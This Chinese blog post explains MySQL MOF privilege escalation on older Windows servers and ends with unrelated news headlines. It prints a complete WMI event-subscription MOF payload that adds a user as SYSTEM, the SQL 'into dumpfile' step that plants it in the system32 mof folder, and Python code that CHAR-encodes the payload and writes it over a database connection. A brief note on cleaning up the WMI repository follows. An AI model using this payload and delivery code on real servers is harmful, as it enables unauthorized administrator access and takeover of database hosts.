关于mysql mof提权研究
admin
2023-05-15 08:02:18
0

无意中看到有关mysql的这种提权方式,趁着有空余时间便研究了起来,发现网上有挺多地方写的不够详细的,研究的时候也卡壳了一段时间。


利用前提:

  1. 操作系统为windows

  2. 操作系统版本不宜太高,2008测试不通过,2003可(因为需要访问到system32中目录)或说mysql启动身份具有权限去访问和写入c:/windows/system32/mof目录

  3. 数据库为mysql且知道mysql登录账号密码和允许外连(或存在sql注入或webshell中操作,未实践)


先简单介绍一下原理(摘自网上和个人实践后得出)

放置在c:/windows/system32/mof目录下的nullevt.mof文件每个五秒钟会被自动执行并且消失,如果后续没有创建新的该文件,那么每五秒会循环执行之前的nullevt.mof中内容,那么只需要将恶意代码写入该文件中即可。


网上已公开nullevt.mof中的利用代码

#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user xxx xxx /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};


常规利用过程步骤如下:

  1. 上传该文件到服务器上任意位置,名字任意

  2. 通过mysql语句 select load_file(上传的文件路径) into dumpfile 'c:/windows/system32/mof/nullevt.mof'

即可,如果成功上传,经过一段时间后,里面嵌入的代码会被执行


个人觉得要上传文件显得过于麻烦,能不能直接select 'xxxxx' into,经过尝试,要将该内容进行转码后再查询即可,提供部分py代码作为演示

使用mysql中char函数解决

payload = r'''
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
 {
 EventNamespace = "Root\\Cimv2";
 Name = "filtP2";
 Query = "Select * From __InstanceModificationEvent "
 "Where TargetInstance Isa \"Win32_LocalTime\" "
 "And TargetInstance.Second = 5";
 QueryLanguage = "WQL";
 };

instance of ActiveScriptEventConsumer as $Consumer
 {
 Name = "consPCSV2";
 ScriptingEngine = "JScript";
 ScriptText =
 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user xxxx xxx /add\")";
 };

instance of __FilterToConsumerBinding
 {
 Consumer = $Consumer;
 Filter = $EventFilter;
 };
'''

ascii_payload = ''

for each_chr in payload:
    ascii_payload += str(ord(each_chr)) + ','

ascii_payload = ascii_payload[:-1]

cur = conn.cursor()
sql = "select char(%s) into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload
cur.execute(sql)


由于mof是由system执行,所以权限满足创建用户、添加管理员等操作,即可完成提权过程。

如果服务器发现被使用mof提权,该如何解决循环创建用户?

打开cmd使用以下命令

net stop winmgmt

删除文件夹下内容 c:/windows/system32/wbem/repository

net start winmgmt

即可


错误之处,敬请指正

相关内容

热门资讯

伊朗如此大幅度地升级冲突,美官... 近来,在美国暂停打击行动的背景下,伊朗主动发起了攻击,美国方面感到惊讶。美国总统特朗普正考虑对伊朗发...
莫斯科餐厅爆炸已致3死21伤,... 当地时间8月1日,俄罗斯国家反恐委员会表示,莫斯科市中心一家餐厅发生的事故系自制爆炸装置爆炸所致。通...
两部门向吉林、黑龙江派出工作组 新华社消息,记者从应急管理部获悉,国家防灾减灾救灾委员会办公室、应急管理部1日针对吉林、黑龙江等地近...
太离谱!中国也“躺枪”,日媒紧... 自日本熊本日前发生强震以来,日本社交媒体上出现多则日语网帖称“熊本地震是人工制造的”。7月30日,日...
太子集团“幕后大哥”胡小伟已离... 据报道,太子集团核心人物胡小伟(别名“胡石”,此前网传的陈志“幕后大哥”)已于7月29日离开日本,并...
特斯拉正考虑剥离中国业务?马斯... 7月31日,有美媒消息称特斯拉正考虑剥离中国业务,此举是为未来与SpaceX的潜在合并铺路。马斯克在...
广西日报特稿《王的猜想》加印纸... 2026年7月29日下午,近日备受舆论关注的广西日报特稿《王的猜想》线上开售加印纸质版,遭遇网友热情...
“欧洲是一块诱人的肥肉” ,美... 据美国有线电视新闻网(CNN)7月30日报道,随着欧洲野火肆虐,气温接连刷新历史极值,一款中国制造产...
外交部谈中国暂停核试验30周年 7月30日,外交部发言人毛宁主持例行记者会。有记者提问,今年是《全面禁止核试验条约》达成30周年,昨...
凤凰女记者德黑兰日志:强硬声音... 【编者按】这是凤凰卫视驻伊朗记者李睿的日记。她身处德黑兰,既是战争的亲历者,也是观察者。伊朗战争如今...